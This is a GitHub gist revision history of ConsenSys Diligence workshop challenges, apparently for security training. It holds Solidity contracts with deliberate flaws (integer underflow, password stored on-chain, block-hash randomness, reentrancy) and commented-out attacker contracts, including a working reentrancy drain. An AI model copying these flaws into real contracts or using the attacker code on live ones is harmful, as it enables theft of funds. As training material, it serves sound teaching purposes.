Skip to content

Instantly share code, notes, and snippets.

@shayanb
Last active October 9, 2019 11:39
Show Gist options
  • Save shayanb/19dace14c6730a57c8df8682eb3f1ba6 to your computer and use it in GitHub Desktop.
Save shayanb/19dace14c6730a57c8df8682eb3f1ba6 to your computer and use it in GitHub Desktop.

Revisions

  1. shayanb revised this gist Oct 9, 2019. 1 changed file with 1 addition and 0 deletions.
    1 change: 1 addition & 0 deletions HelloWorld.sol
    Original file line number Diff line number Diff line change
    @@ -5,6 +5,7 @@
    pragma solidity ^0.5.4;

    // Say Hi
    //Deployed at Ropsten: 0x0f6501d05272b95b8ad35c64f1939626ff01c81d

    contract helloWorld {

  2. shayanb revised this gist Oct 9, 2019. 1 changed file with 2 additions and 2 deletions.
    4 changes: 2 additions & 2 deletions HelloWorld.sol
    Original file line number Diff line number Diff line change
    @@ -1,6 +1,6 @@
    // ConsenSys Diligence
    // NorthSec 2019
    // Montreal, Canada
    // DevCon V - October 2019
    // Osaka, Japan

    pragma solidity ^0.5.4;

  3. shayanb revised this gist Oct 9, 2019. 1 changed file with 4 additions and 5 deletions.
    9 changes: 4 additions & 5 deletions README.md
    Original file line number Diff line number Diff line change
    @@ -1,8 +1,8 @@
    // ConsenSys Diligence
    // NorthSec 2019
    // Montreal, Canada
    // DevCon V - October 2019
    // Osaka, Japan

    These files: http://bit.ly/NorthSec2019
    These files: https://kik.to/d5
    ---------------------------------------
    Metamask: https://metamask.io/
    Get Ropsten coins: https://faucet.metamask.io/
    @@ -19,8 +19,7 @@ Capture the Ether: https://capturetheether.com
    ConsenSys Diligence Twitter: @ConsenSysAudits
    ---------------------------------------
    More about what we do:
    https://consensys.github.io/diligence
    https://consensys.net/diligence/
    https://diligence.consensys.net/
    ---------------------------------------
    ---------------------------------------
    ---------------------------------------
  4. shayanb revised this gist Oct 9, 2019. 5 changed files with 10 additions and 10 deletions.
    4 changes: 2 additions & 2 deletions Challenge1.sol
    Original file line number Diff line number Diff line change
    @@ -1,6 +1,6 @@
    // ConsenSys Diligence
    // NorthSec 2019
    // Montreal, Canada
    // DevCon V - October 2019
    // Osaka, Japan

    pragma solidity ^0.5.4;

    4 changes: 2 additions & 2 deletions Challenge2.sol
    Original file line number Diff line number Diff line change
    @@ -1,6 +1,6 @@
    // ConsenSys Diligence
    // NorthSec 2019
    // Montreal, Canada
    // DevCon V - October 2019
    // Osaka, Japan

    pragma solidity ^0.5.4;

    4 changes: 2 additions & 2 deletions Challenge3.sol
    Original file line number Diff line number Diff line change
    @@ -1,6 +1,6 @@
    // ConsenSys Diligence
    // NorthSec 2019
    // Montreal, Canada
    // DevCon V - October 2019
    // Osaka, Japan

    pragma solidity ^0.5.4;

    4 changes: 2 additions & 2 deletions Challenge4.sol
    Original file line number Diff line number Diff line change
    @@ -1,6 +1,6 @@
    // ConsenSys Diligence
    // NorthSec 2019
    // Montreal, Canada
    // DevCon V - October 2019
    // Osaka, Japan

    pragma solidity ^0.5.4;

    4 changes: 2 additions & 2 deletions Challenge5.sol
    Original file line number Diff line number Diff line change
    @@ -1,6 +1,6 @@
    // ConsenSys Diligence
    // NorthSec 2019
    // Montreal, Canada
    // DevCon V - October 2019
    // Osaka, Japan

    pragma solidity ^0.5.4;

  5. shayanb revised this gist May 16, 2019. 1 changed file with 43 additions and 0 deletions.
    43 changes: 43 additions & 0 deletions README.md
    Original file line number Diff line number Diff line change
    @@ -0,0 +1,43 @@
    // ConsenSys Diligence
    // NorthSec 2019
    // Montreal, Canada

    These files: http://bit.ly/NorthSec2019
    ---------------------------------------
    Metamask: https://metamask.io/
    Get Ropsten coins: https://faucet.metamask.io/
    ---------------------------------------
    Solidity Documentation: https://solidity.readthedocs.io/en/latest/
    ---------------------------------------
    ---------------------------------------
    ---------------------------------------
    Ethereum Smart Contract Security Best Practices:
    https://consensys.github.io/smart-contract-best-practices
    ---------------------------------------
    Capture the Ether: https://capturetheether.com
    ---------------------------------------
    ConsenSys Diligence Twitter: @ConsenSysAudits
    ---------------------------------------
    More about what we do:
    https://consensys.github.io/diligence
    https://consensys.net/diligence/
    ---------------------------------------
    ---------------------------------------
    ---------------------------------------
    ---------------------------------------

    // ██████╗ ██████╗ ███╗ ██╗███████╗███████╗███╗ ██╗███████╗██╗ ██╗███████╗
    // ██╔════╝██╔═══██╗████╗ ██║██╔════╝██╔════╝████╗ ██║██╔════╝╚██╗ ██╔╝██╔════╝
    // ██║ ██║ ██║██╔██╗ ██║███████╗█████╗ ██╔██╗ ██║███████╗ ╚████╔╝ ███████╗
    // ██║ ██║ ██║██║╚██╗██║╚════██║██╔══╝ ██║╚██╗██║╚════██║ ╚██╔╝ ╚════██║
    // ╚██████╗╚██████╔╝██║ ╚████║███████║███████╗██║ ╚████║███████║ ██║ ███████║
    // ╚═════╝ ╚═════╝ ╚═╝ ╚═══╝╚══════╝╚══════╝╚═╝ ╚═══╝╚══════╝ ╚═╝ ╚══════╝

    // ██████╗ ██╗██╗ ██╗ ██████╗ ███████╗███╗ ██╗ ██████╗███████╗
    // ██╔══██╗██║██║ ██║██╔════╝ ██╔════╝████╗ ██║██╔════╝██╔════╝
    // ██║ ██║██║██║ ██║██║ ███╗█████╗ ██╔██╗ ██║██║ █████╗
    // ██║ ██║██║██║ ██║██║ ██║██╔══╝ ██║╚██╗██║██║ ██╔══╝
    // ██████╔╝██║███████╗██║╚██████╔╝███████╗██║ ╚████║╚██████╗███████╗
    // ╚═════╝ ╚═╝╚══════╝╚═╝ ╚═════╝ ╚══════╝╚═╝ ╚═══╝ ╚═════╝╚══════╝


  6. shayanb revised this gist May 16, 2019. 2 changed files with 23 additions and 2 deletions.
    2 changes: 1 addition & 1 deletion Challenge3.sol
    Original file line number Diff line number Diff line change
    @@ -47,7 +47,7 @@ contract challenge3 {


    // contract attack {
    // constructor (challenge3 target) public payable {
    // doAttack (challenge3 target) public payable {
    // require(msg.value > 0);
    // target.lottery.value(msg.value)(???);
    // msg.sender.transfer(address(this).balance);
    23 changes: 22 additions & 1 deletion Challenge4.sol
    Original file line number Diff line number Diff line change
    @@ -53,4 +53,25 @@ contract challenge4 {
    // /\ __-. /\ \ /\ \ /\ \ /\ ___\ /\ ___\ /\ "-.\ \ /\ ___\ /\ ___\
    // \ \ \/\ \ \ \ \ \ \ \____ \ \ \ \ \ \__ \ \ \ __\ \ \ \-. \ \ \ \____ \ \ __\
    // \ \____- \ \_\ \ \_____\ \ \_\ \ \_____\ \ \_____\ \ \_\\"\_\ \ \_____\ \ \_____\
    // \/____/ \/_/ \/_____/ \/_/ \/_____/ \/_____/ \/_/ \/_/ \/_____/ \/_____/
    // \/____/ \/_/ \/_____/ \/_/ \/_____/ \/_____/ \/_/ \/_/ \/_____/ \/_____/




    // contract Attacker {

    // challenge4 target;
    // constructor(address payable targetAddress) public payable {
    // target = challenge4(targetAddress);
    // target.donate.value(msg.value)(address(this));
    // }
    // function attack() public {
    // target.withdraw(target.balanceOf(address(this)));
    // }
    // function () external payable {
    // if (address(target).balance >= 1 ether) {
    // //The check also can be on gas
    // target.withdraw(target.balanceOf(address(this)));
    // }
    // }
    // }
  7. shayanb revised this gist May 16, 2019. 3 changed files with 21 additions and 7 deletions.
    5 changes: 0 additions & 5 deletions Challenge2.sol
    Original file line number Diff line number Diff line change
    @@ -24,11 +24,6 @@ contract challenge2 {
    hash = keccak256(abi.encode(secretPassword));
    }

    function passwordTest() public view returns (bytes32){
    //TODO: remove this for production
    return (hash);
    }

    function guessPassword(string memory password) public payable {

    require(keccak256(abi.encode(password)) == hash);
    20 changes: 18 additions & 2 deletions Challenge3.sol
    Original file line number Diff line number Diff line change
    @@ -17,7 +17,7 @@ contract challenge3 {
    }

    function lottery(uint256 n) payable public {
    require(msg.value > 0); //buy ticket
    require(msg.value > 0); //buy ticket, it should be more than 0
    answer = uint256(keccak256(abi.encode(blockhash(block.number - 1))));
    if (n == answer) {
    msg.sender.transfer(1337);
    @@ -26,6 +26,7 @@ contract challenge3 {
    }



    // ___ __
    // / __\___ _ __ ___ ___ _ __ / _\_ _ ___
    // / / / _ \| '_ \/ __|/ _ \ '_ \\ \| | | / __|
    @@ -37,4 +38,19 @@ contract challenge3 {
    // / /\ / | | |/ _` |/ _ \ '_ \ / __/ _ \
    // / /_//| | | | (_| | __/ | | | (_| __/
    // /___,' |_|_|_|\__, |\___|_| |_|\___\___|
    // |___/
    // |___/







    // contract attack {
    // constructor (challenge3 target) public payable {
    // require(msg.value > 0);
    // target.lottery.value(msg.value)(???);
    // msg.sender.transfer(address(this).balance);
    // //selfdestruct(msg.sender);
    // }
    // }
    3 changes: 3 additions & 0 deletions HelloWorld.sol
    Original file line number Diff line number Diff line change
    @@ -8,9 +8,11 @@ pragma solidity ^0.5.4;

    contract helloWorld {

    //Storage variables
    string public name;
    address private owner;

    //Defining events
    event Hi(string name);

    constructor() public {
    @@ -22,6 +24,7 @@ contract helloWorld {
    if (msg.sender == owner) {
    name = _name;
    }
    //call event
    emit Hi(_name);
    }

  8. shayanb revised this gist May 10, 2019. No changes.
  9. shayanb revised this gist May 10, 2019. 3 changed files with 5 additions and 2 deletions.
    1 change: 1 addition & 0 deletions Challenge2.sol
    Original file line number Diff line number Diff line change
    @@ -5,6 +5,7 @@
    pragma solidity ^0.5.4;

    // Guess the password for the safe
    // Deployed on Ropsten: 0xC224beb93142607b91d21BBd4A67a34a50E26AAB

    contract challenge2 {

    2 changes: 1 addition & 1 deletion Challenge3.sol
    Original file line number Diff line number Diff line change
    @@ -4,8 +4,8 @@

    pragma solidity ^0.5.4;


    // Lottery using block hash as source of randomness
    // Deployed on Ropsten: 0x70707c3163575fb0eba9f291f75ff0742cb18386


    contract challenge3 {
    4 changes: 3 additions & 1 deletion Challenge4.sol
    Original file line number Diff line number Diff line change
    @@ -4,10 +4,12 @@

    pragma solidity ^0.5.4;

    // Steal money from charity (For educational purposes only)
    // Deployed on Ropsten: 0x315a3254ff66c387a87d1771ae4877b4782a1a7c


    contract challenge4 {

    // Steal money from charity

    mapping(address => uint) public balances;

  10. shayanb revised this gist May 9, 2019. 3 changed files with 17 additions and 5 deletions.
    17 changes: 14 additions & 3 deletions Challenge1.sol
    Original file line number Diff line number Diff line change
    @@ -4,12 +4,23 @@

    pragma solidity ^0.5.4;

    // Can you have a gazillion balance?

    contract challenge1 {

    string public name;
    address private owner;
    uint256 public balance;

    constructor() public {
    balance = 10;
    }

    function buy() external payable {
    balance += msg.value;
    }

    //Placeholder
    function burn(uint256 amount) external {
    balance -= amount;
    }

    }

    3 changes: 2 additions & 1 deletion Challenge3.sol
    Original file line number Diff line number Diff line change
    @@ -17,10 +17,11 @@ contract challenge3 {
    }

    function lottery(uint256 n) payable public {
    require(msg.value > 0); //buy ticket
    answer = uint256(keccak256(abi.encode(blockhash(block.number - 1))));
    if (n == answer) {
    msg.sender.transfer(1337);
    }
    }
    }
    }

    2 changes: 1 addition & 1 deletion Challenge4.sol
    Original file line number Diff line number Diff line change
    @@ -32,7 +32,7 @@ contract challenge4 {
    if(success) {
    emit paid(msg.sender, _amount);
    }
    balances[msg.sender] -= _amount; //decrease the balance
    balances[msg.sender] -= _amount; //deduct the balance
    }
    }

  11. shayanb revised this gist May 9, 2019. 2 changed files with 10 additions and 12 deletions.
    19 changes: 9 additions & 10 deletions Challenge2.sol
    Original file line number Diff line number Diff line change
    @@ -8,32 +8,31 @@ pragma solidity ^0.5.4;

    contract challenge2 {

    bytes32 private password;
    bytes32 private hash;
    address public owner;

    constructor(string memory secretPassword) public payable{
    require(msg.value == 1 ether); //1 Ether Deposit required
    owner = msg.sender;
    password = keccak256(abi.encode(secretPassword));
    hash = keccak256(abi.encode(secretPassword));
    }

    function changePassword(string memory secretPassword) public payable{
    require(msg.sender == owner); //OnlyOwner
    require(msg.value == 1 ether); //1 Ether Deposit required
    password = keccak256(abi.encode(secretPassword));
    hash = keccak256(abi.encode(secretPassword));
    }

    function passwordTest() public view returns (bytes32){
    //TODO: remove this for production
    return (password);
    return (hash);
    }

    function guessPassword(string memory n) public payable {
    require(msg.value == 1 ether); // 1 Ether Deposit required

    if (keccak256(abi.encode(n)) == password) {
    msg.sender.transfer(2 ether);
    }
    function guessPassword(string memory password) public payable {

    require(keccak256(abi.encode(password)) == hash);
    msg.sender.transfer(1337);

    }

    }
    3 changes: 1 addition & 2 deletions Challenge3.sol
    Original file line number Diff line number Diff line change
    @@ -17,10 +17,9 @@ contract challenge3 {
    }

    function lottery(uint256 n) payable public {
    require(msg.value == 1 ether); //1 Ether Deposit required
    answer = uint256(keccak256(abi.encode(blockhash(block.number - 1))));
    if (n == answer) {
    msg.sender.transfer(2 ether);
    msg.sender.transfer(1337);
    }
    }
    }
  12. shayanb revised this gist May 9, 2019. 1 changed file with 1 addition and 1 deletion.
    2 changes: 1 addition & 1 deletion Challenge3.sol
    Original file line number Diff line number Diff line change
    @@ -18,7 +18,7 @@ contract challenge3 {

    function lottery(uint256 n) payable public {
    require(msg.value == 1 ether); //1 Ether Deposit required
    answer = uint256(keccak256(abi.encode(blockhash(block.number))));
    answer = uint256(keccak256(abi.encode(blockhash(block.number - 1))));
    if (n == answer) {
    msg.sender.transfer(2 ether);
    }
  13. shayanb revised this gist May 9, 2019. 1 changed file with 1 addition and 0 deletions.
    1 change: 1 addition & 0 deletions Challenge3.sol
    Original file line number Diff line number Diff line change
    @@ -25,6 +25,7 @@ contract challenge3 {
    }
    }


    // ___ __
    // / __\___ _ __ ___ ___ _ __ / _\_ _ ___
    // / / / _ \| '_ \/ __|/ _ \ '_ \\ \| | | / __|
  14. shayanb revised this gist May 9, 2019. 4 changed files with 25 additions and 8 deletions.
    13 changes: 9 additions & 4 deletions Challenge2.sol
    Original file line number Diff line number Diff line change
    @@ -12,19 +12,24 @@ contract challenge2 {
    address public owner;

    constructor(string memory secretPassword) public payable{
    require(msg.value == 1 ether);
    require(msg.value == 1 ether); //1 Ether Deposit required
    owner = msg.sender;
    password = keccak256(abi.encode(secretPassword));
    }

    function changePassword(string memory secretPassword) public payable{
    require(msg.sender == owner);
    require(msg.value == 1 ether);
    require(msg.sender == owner); //OnlyOwner
    require(msg.value == 1 ether); //1 Ether Deposit required
    password = keccak256(abi.encode(secretPassword));
    }

    function passwordTest() public view returns (bytes32){
    //TODO: remove this for production
    return (password);
    }

    function guessPassword(string memory n) public payable {
    require(msg.value == 1 ether);
    require(msg.value == 1 ether); // 1 Ether Deposit required

    if (keccak256(abi.encode(n)) == password) {
    msg.sender.transfer(2 ether);
    2 changes: 1 addition & 1 deletion Challenge3.sol
    Original file line number Diff line number Diff line change
    @@ -17,7 +17,7 @@ contract challenge3 {
    }

    function lottery(uint256 n) payable public {
    require(msg.value == 1 ether);
    require(msg.value == 1 ether); //1 Ether Deposit required
    answer = uint256(keccak256(abi.encode(blockhash(block.number))));
    if (n == answer) {
    msg.sender.transfer(2 ether);
    4 changes: 2 additions & 2 deletions Challenge4.sol
    Original file line number Diff line number Diff line change
    @@ -14,7 +14,7 @@ contract challenge4 {
    event paid(address payee, uint amount);

    constructor() public payable{
    require(msg.value == 1 ether);
    require(msg.value == 1 ether);
    balances[msg.sender] = msg.value;
    }

    @@ -32,7 +32,7 @@ contract challenge4 {
    if(success) {
    emit paid(msg.sender, _amount);
    }
    balances[msg.sender] -= _amount;
    balances[msg.sender] -= _amount; //decrease the balance
    }
    }

    14 changes: 13 additions & 1 deletion HelloWorld.sol
    Original file line number Diff line number Diff line change
    @@ -4,18 +4,30 @@

    pragma solidity ^0.5.4;

    // Say Hi

    contract helloWorld {

    string public name;
    address private owner;

    event Hi(string name);

    constructor() public {
    owner = msg.sender;
    }

    function sayHi(string memory _name) public {
    //change the name if owner calls
    if (msg.sender == owner) {
    name = _name;
    }
    emit Hi(name);
    emit Hi(_name);
    }

    //fallback function.
    function() external {
    emit Hi("Hello World");
    }

    }
  15. shayanb revised this gist May 8, 2019. 1 changed file with 1 addition and 2 deletions.
    3 changes: 1 addition & 2 deletions Challenge4.sol
    Original file line number Diff line number Diff line change
    @@ -4,6 +4,7 @@

    pragma solidity ^0.5.4;


    contract challenge4 {

    // Steal money from charity
    @@ -37,12 +38,10 @@ contract challenge4 {

    function() external payable {}


    }




    // ______ ______ __ __ ______ ______ __ __ ______ __ __ ______
    // /\ ___\ /\ __ \ /\ "-.\ \ /\ ___\ /\ ___\ /\ "-.\ \ /\ ___\ /\ \_\ \ /\ ___\
    // \ \ \____ \ \ \/\ \ \ \ \-. \ \ \___ \ \ \ __\ \ \ \-. \ \ \___ \ \ \____ \ \ \___ \
  16. shayanb revised this gist May 8, 2019. 1 changed file with 7 additions and 7 deletions.
    14 changes: 7 additions & 7 deletions Challenge2.sol
    Original file line number Diff line number Diff line change
    @@ -8,25 +8,25 @@ pragma solidity ^0.5.4;

    contract challenge2 {

    uint256 private password;
    bytes32 private password;
    address public owner;

    constructor(uint256 secretPassword) public payable{
    constructor(string memory secretPassword) public payable{
    require(msg.value == 1 ether);
    owner = msg.sender;
    password = secretPassword;
    password = keccak256(abi.encode(secretPassword));
    }

    function changePassword(uint256 secretPassword) public payable{
    function changePassword(string memory secretPassword) public payable{
    require(msg.sender == owner);
    require(msg.value == 1 ether);
    password = secretPassword;
    password = keccak256(abi.encode(secretPassword));
    }

    function guessPassword(uint8 n) public payable {
    function guessPassword(string memory n) public payable {
    require(msg.value == 1 ether);

    if (n == password) {
    if (keccak256(abi.encode(n)) == password) {
    msg.sender.transfer(2 ether);
    }
    }
  17. shayanb revised this gist May 8, 2019. 3 changed files with 10 additions and 2 deletions.
    6 changes: 4 additions & 2 deletions Challenge2.sol
    Original file line number Diff line number Diff line change
    @@ -11,11 +11,13 @@ contract challenge2 {
    uint256 private password;
    address public owner;

    constructor() public payable{
    constructor(uint256 secretPassword) public payable{
    require(msg.value == 1 ether);
    owner = msg.sender;
    password = secretPassword;
    }

    function setPassword(uint256 secretPassword) public payable{
    function changePassword(uint256 secretPassword) public payable{
    require(msg.sender == owner);
    require(msg.value == 1 ether);
    password = secretPassword;
    1 change: 1 addition & 0 deletions Challenge3.sol
    Original file line number Diff line number Diff line change
    @@ -11,6 +11,7 @@ pragma solidity ^0.5.4;
    contract challenge3 {

    uint256 public answer;

    constructor () payable public {
    require(msg.value == 1 ether);
    }
    5 changes: 5 additions & 0 deletions Challenge4.sol
    Original file line number Diff line number Diff line change
    @@ -12,6 +12,11 @@ contract challenge4 {

    event paid(address payee, uint amount);

    constructor() public payable{
    require(msg.value == 1 ether);
    balances[msg.sender] = msg.value;
    }

    function donate(address _to) public payable {
    balances[_to] += msg.value;
    }
  18. shayanb revised this gist May 7, 2019. 4 changed files with 32 additions and 9 deletions.
    3 changes: 1 addition & 2 deletions Challenge2.sol
    Original file line number Diff line number Diff line change
    @@ -4,7 +4,6 @@

    pragma solidity ^0.5.4;


    // Guess the password for the safe

    contract challenge2 {
    @@ -22,7 +21,7 @@ contract challenge2 {
    password = secretPassword;
    }

    function guess(uint8 n) public payable {
    function guessPassword(uint8 n) public payable {
    require(msg.value == 1 ether);

    if (n == password) {
    7 changes: 4 additions & 3 deletions Challenge3.sol
    Original file line number Diff line number Diff line change
    @@ -2,12 +2,13 @@
    // NorthSec 2019
    // Montreal, Canada

    // Lottery using block hash as source of randomness
    pragma solidity ^0.5.4;


    pragma solidity ^0.5.4;
    // Lottery using block hash as source of randomness


    contract challenge1 {
    contract challenge3 {

    uint256 public answer;
    constructor () payable public {
    29 changes: 26 additions & 3 deletions Challenge4.sol
    Original file line number Diff line number Diff line change
    @@ -6,15 +6,38 @@ pragma solidity ^0.5.4;

    contract challenge4 {

    string public name;
    address private owner;
    // Steal money from charity

    mapping(address => uint) public balances;

    //Placeholder
    event paid(address payee, uint amount);

    function donate(address _to) public payable {
    balances[_to] += msg.value;
    }

    function balanceOf(address _who) public view returns (uint balance) {
    return balances[_who];
    }

    function withdraw(uint _amount) public {
    if(balances[msg.sender] >= _amount) {
    (bool success, ) = msg.sender.call.value(_amount)("");
    if(success) {
    emit paid(msg.sender, _amount);
    }
    balances[msg.sender] -= _amount;
    }
    }

    function() external payable {}


    }




    // ______ ______ __ __ ______ ______ __ __ ______ __ __ ______
    // /\ ___\ /\ __ \ /\ "-.\ \ /\ ___\ /\ ___\ /\ "-.\ \ /\ ___\ /\ \_\ \ /\ ___\
    // \ \ \____ \ \ \/\ \ \ \ \-. \ \ \___ \ \ \ __\ \ \ \-. \ \ \___ \ \ \____ \ \ \___ \
    2 changes: 1 addition & 1 deletion HelloWorld.sol
    Original file line number Diff line number Diff line change
    @@ -15,7 +15,7 @@ contract helloWorld {
    if (msg.sender == owner) {
    name = _name;
    }
    emit Hi(_name);
    emit Hi(name);
    }

    }
  19. shayanb revised this gist May 6, 2019. 1 changed file with 5 additions and 5 deletions.
    10 changes: 5 additions & 5 deletions Challenge2.sol
    Original file line number Diff line number Diff line change
    @@ -5,27 +5,27 @@
    pragma solidity ^0.5.4;


    // Guess the secret number
    // Guess the password for the safe

    contract challenge2 {

    uint256 private answer;
    uint256 private password;
    address public owner;

    constructor() public payable{
    owner = msg.sender;
    }

    function setPrize(uint256 secretAnswer) public payable{
    function setPassword(uint256 secretPassword) public payable{
    require(msg.sender == owner);
    require(msg.value == 1 ether);
    answer = secretAnswer;
    password = secretPassword;
    }

    function guess(uint8 n) public payable {
    require(msg.value == 1 ether);

    if (n == answer) {
    if (n == password) {
    msg.sender.transfer(2 ether);
    }
    }
  20. shayanb revised this gist May 6, 2019. 1 changed file with 21 additions and 4 deletions.
    25 changes: 21 additions & 4 deletions Challenge2.sol
    Original file line number Diff line number Diff line change
    @@ -4,17 +4,34 @@

    pragma solidity ^0.5.4;


    // Guess the secret number

    contract challenge2 {

    string public name;
    address private owner;
    uint256 private answer;
    address public owner;

    constructor() public payable{
    owner = msg.sender;
    }

    //Placeholder
    function setPrize(uint256 secretAnswer) public payable{
    require(msg.sender == owner);
    require(msg.value == 1 ether);
    answer = secretAnswer;
    }

    function guess(uint8 n) public payable {
    require(msg.value == 1 ether);

    if (n == answer) {
    msg.sender.transfer(2 ether);
    }
    }

    }


    // _________ _________
    // \_ ___ \ ____ ____ ______ ____ ____ / _____/__.__. ______
    // / \ \/ / _ \ / \ / ___// __ \ / \ \_____ < | |/ ___/
  21. shayanb revised this gist May 6, 2019. 1 changed file with 15 additions and 7 deletions.
    22 changes: 15 additions & 7 deletions Challenge3.sol
    Original file line number Diff line number Diff line change
    @@ -2,19 +2,27 @@
    // NorthSec 2019
    // Montreal, Canada

    // Lottery using block hash as source of randomness


    pragma solidity ^0.5.4;

    contract challenge3 {
    contract challenge1 {

    string public name;
    address private owner;
    uint256 public answer;
    constructor () payable public {
    require(msg.value == 1 ether);
    }

    //Placeholder


    function lottery(uint256 n) payable public {
    require(msg.value == 1 ether);
    answer = uint256(keccak256(abi.encode(blockhash(block.number))));
    if (n == answer) {
    msg.sender.transfer(2 ether);
    }
    }
    }


    // ___ __
    // / __\___ _ __ ___ ___ _ __ / _\_ _ ___
    // / / / _ \| '_ \/ __|/ _ \ '_ \\ \| | | / __|
  22. shayanb renamed this gist May 6, 2019. 1 changed file with 0 additions and 0 deletions.
    File renamed without changes.
  23. shayanb revised this gist May 6, 2019. 5 changed files with 9 additions and 40 deletions.
    9 changes: 1 addition & 8 deletions Challenge1.sol
    Original file line number Diff line number Diff line change
    @@ -9,14 +9,7 @@ contract challenge1 {
    string public name;
    address private owner;

    event Hi(string name);

    function sayHi(string memory _name) public {
    if (msg.sender == owner) {
    name = _name;
    }
    emit Hi(_name);
    }
    //Placeholder

    }

    10 changes: 2 additions & 8 deletions Challenge2.sol
    Original file line number Diff line number Diff line change
    @@ -9,14 +9,8 @@ contract challenge2 {
    string public name;
    address private owner;

    event Hi(string name);

    function sayHi(string memory _name) public {
    if (msg.sender == owner) {
    name = _name;
    }
    emit Hi(_name);
    }
    //Placeholder


    }

    10 changes: 2 additions & 8 deletions Challenge3.sol
    Original file line number Diff line number Diff line change
    @@ -9,14 +9,8 @@ contract challenge3 {
    string public name;
    address private owner;

    event Hi(string name);

    function sayHi(string memory _name) public {
    if (msg.sender == owner) {
    name = _name;
    }
    emit Hi(_name);
    }
    //Placeholder


    }

    10 changes: 2 additions & 8 deletions Challenge4.sol
    Original file line number Diff line number Diff line change
    @@ -9,14 +9,8 @@ contract challenge4 {
    string public name;
    address private owner;

    event Hi(string name);

    function sayHi(string memory _name) public {
    if (msg.sender == owner) {
    name = _name;
    }
    emit Hi(_name);
    }
    //Placeholder


    }

    10 changes: 2 additions & 8 deletions Challenge5.sol
    Original file line number Diff line number Diff line change
    @@ -9,14 +9,8 @@ contract challenge5 {
    string public name;
    address private owner;

    event Hi(string name);

    function sayHi(string memory _name) public {
    if (msg.sender == owner) {
    name = _name;
    }
    emit Hi(_name);
    }
    //Placeholder


    }

  24. shayanb created this gist May 6, 2019.
    33 changes: 33 additions & 0 deletions 0HelloWorld.sol
    Original file line number Diff line number Diff line change
    @@ -0,0 +1,33 @@
    // ConsenSys Diligence
    // NorthSec 2019
    // Montreal, Canada

    pragma solidity ^0.5.4;

    contract helloWorld {

    string public name;
    address private owner;

    event Hi(string name);

    function sayHi(string memory _name) public {
    if (msg.sender == owner) {
    name = _name;
    }
    emit Hi(_name);
    }

    }


    // ______ _____
    // / ____/___ ____ ________ ____ / ___/__ _______
    // / / / __ \/ __ \/ ___/ _ \/ __ \\__ \/ / / / ___/
    // / /___/ /_/ / / / (__ ) __/ / / /__/ / /_/ (__ )
    // \__________/___/_/____/\___/_/ /_/____/\__, /____/
    // / __ \(_) (_)___ ____ ____ ______//___/
    // / / / / / / / __ `/ _ \/ __ \/ ___/ _ \
    // / /_/ / / / / /_/ / __/ / / / /__/ __/
    // /_____/_/_/_/\__, /\___/_/ /_/\___/\___/
    // /____/
    31 changes: 31 additions & 0 deletions Challenge1.sol
    Original file line number Diff line number Diff line change
    @@ -0,0 +1,31 @@
    // ConsenSys Diligence
    // NorthSec 2019
    // Montreal, Canada

    pragma solidity ^0.5.4;

    contract challenge1 {

    string public name;
    address private owner;

    event Hi(string name);

    function sayHi(string memory _name) public {
    if (msg.sender == owner) {
    name = _name;
    }
    emit Hi(_name);
    }

    }


    // ___ __ __ _ ____ ____ __ _ ____ _ _ ____
    // / __)/ \ ( ( \/ ___)( __)( ( \/ ___)( \/ )/ ___)
    // ( (__( O )/ /\___ \ ) _) / /\___ \ ) / \___ \
    // \___)\__/ \_)__)(____/(____)\_)__)(____/(__/ (____/
    // ____ __ __ __ ___ ____ __ _ ___ ____
    // ( \( )( ) ( )/ __)( __)( ( \ / __)( __)
    // ) D ( )( / (_/\ )(( (_ \ ) _) / /( (__ ) _)
    // (____/(__)\____/(__)\___/(____)\_)__) \___)(____)
    35 changes: 35 additions & 0 deletions Challenge2.sol
    Original file line number Diff line number Diff line change
    @@ -0,0 +1,35 @@
    // ConsenSys Diligence
    // NorthSec 2019
    // Montreal, Canada

    pragma solidity ^0.5.4;

    contract challenge2 {

    string public name;
    address private owner;

    event Hi(string name);

    function sayHi(string memory _name) public {
    if (msg.sender == owner) {
    name = _name;
    }
    emit Hi(_name);
    }

    }


    // _________ _________
    // \_ ___ \ ____ ____ ______ ____ ____ / _____/__.__. ______
    // / \ \/ / _ \ / \ / ___// __ \ / \ \_____ < | |/ ___/
    // \ \___( <_> ) | \\___ \\ ___/| | \/ \___ |\___ \
    // \______ /\____/|___| /____ >\___ >___| /_______ / ____/____ >
    // \/ \/ \/ \/ \/ \/\/ \/
    // ________ .__.__ .__
    // \______ \ |__| | |__| ____ ____ ____ ____ ____
    // | | \| | | | |/ ___\_/ __ \ / \_/ ___\/ __ \
    // | ` \ | |_| / /_/ > ___/| | \ \__\ ___/
    // /_______ /__|____/__\___ / \___ >___| /\___ >___ >
    // \/ /_____/ \/ \/ \/ \/
    35 changes: 35 additions & 0 deletions Challenge3.sol
    Original file line number Diff line number Diff line change
    @@ -0,0 +1,35 @@
    // ConsenSys Diligence
    // NorthSec 2019
    // Montreal, Canada

    pragma solidity ^0.5.4;

    contract challenge3 {

    string public name;
    address private owner;

    event Hi(string name);

    function sayHi(string memory _name) public {
    if (msg.sender == owner) {
    name = _name;
    }
    emit Hi(_name);
    }

    }


    // ___ __
    // / __\___ _ __ ___ ___ _ __ / _\_ _ ___
    // / / / _ \| '_ \/ __|/ _ \ '_ \\ \| | | / __|
    // / /__| (_) | | | \__ \ __/ | | |\ \ |_| \__ \
    // \____/\___/|_| |_|___/\___|_| |_\__/\__, |___/
    // |___/
    // ___ _ _ _
    // / (_) (_) __ _ ___ _ __ ___ ___
    // / /\ / | | |/ _` |/ _ \ '_ \ / __/ _ \
    // / /_//| | | | (_| | __/ | | | (_| __/
    // /___,' |_|_|_|\__, |\___|_| |_|\___\___|
    // |___/
    33 changes: 33 additions & 0 deletions Challenge4.sol
    Original file line number Diff line number Diff line change
    @@ -0,0 +1,33 @@
    // ConsenSys Diligence
    // NorthSec 2019
    // Montreal, Canada

    pragma solidity ^0.5.4;

    contract challenge4 {

    string public name;
    address private owner;

    event Hi(string name);

    function sayHi(string memory _name) public {
    if (msg.sender == owner) {
    name = _name;
    }
    emit Hi(_name);
    }

    }


    // ______ ______ __ __ ______ ______ __ __ ______ __ __ ______
    // /\ ___\ /\ __ \ /\ "-.\ \ /\ ___\ /\ ___\ /\ "-.\ \ /\ ___\ /\ \_\ \ /\ ___\
    // \ \ \____ \ \ \/\ \ \ \ \-. \ \ \___ \ \ \ __\ \ \ \-. \ \ \___ \ \ \____ \ \ \___ \
    // \ \_____\ \ \_____\ \ \_\\"\_\ \/\_____\ \ \_____\ \ \_\\"\_\ \/\_____\ \/\_____\ \/\_____\
